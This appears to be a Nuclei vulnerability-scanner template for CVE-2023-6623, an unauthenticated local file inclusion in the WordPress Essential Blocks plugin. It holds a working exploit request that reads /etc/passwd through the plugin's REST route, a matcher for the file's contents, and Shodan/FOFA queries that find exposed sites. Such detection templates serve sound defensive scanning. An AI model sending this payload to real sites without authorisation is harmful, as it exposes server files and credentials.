id: CVE-2023-6623 info: name: Essential Blocks < 4.4.3 - Local File Inclusion author: iamnoooob,rootxharsh,pdresearch,coldfish severity: critical description: | Wordpress Essential Blocks plugin prior to 4.4.3 was discovered to be vulnerable to a significant Local File Inclusion vulnerability that may be exploited by any attacker, regardless of whether they have an account on the site. impact: | An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the server. remediation: | Upgrade to the latest version of Essential Blocks 4.4.3 to fix this issue. reference: - https://wpscan.com/blog/file-inclusion-vulnerability-fixed-in-essential-blocks-4-4-3/ - https://flysec-blog.blogspot.com/2024/01/cve-2023-6623-file-inclusion.html - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-6623 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-6623 cwe-id: CWE-22 epss-score: 0.07821 epss-percentile: 0.94063 cpe: cpe:2.3:a:wpdeveloper:essential_blocks:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 2 vendor: wpdeveloper product: essential_blocks framework: wordpress shodan-query: http.html:/wp-content/plugins/essential-blocks/ fofa-query: body=/wp-content/plugins/essential-blocks/ publicwww-query: "/wp-content/plugins/essential-blocks/" tags: wpscan,cve,cve2023,wp,wp-plugin,wordpress,essential-blocks,lfi,wpdeveloper http: - method: GET path: - '{{BaseURL}}/index.php?rest_route=%2Fessential-blocks%2Fv1%2Fproducts&is_frontend=true&attributes={"__file":"/etc%2fpasswd"}' - '{{BaseURL}}/wp-content/plugins/essential-blocks/readme.txt' matchers: - type: dsl dsl: - "status_code == 200" - "regex('root:.*:0:0:', body_1)" - 'contains(body_2, "Essential Blocks – Page")' condition: and # digest: 4a0a004730450220025cd53c7a663651d839f0ad35424da7534ea7cb30906de15667d74376584959022100ed9e6c7a470d28ace1ff2616b51480283f4e46af81bb8fc5e46dbd7a2dc723de:922c64590222798bb761d5b6d8e72950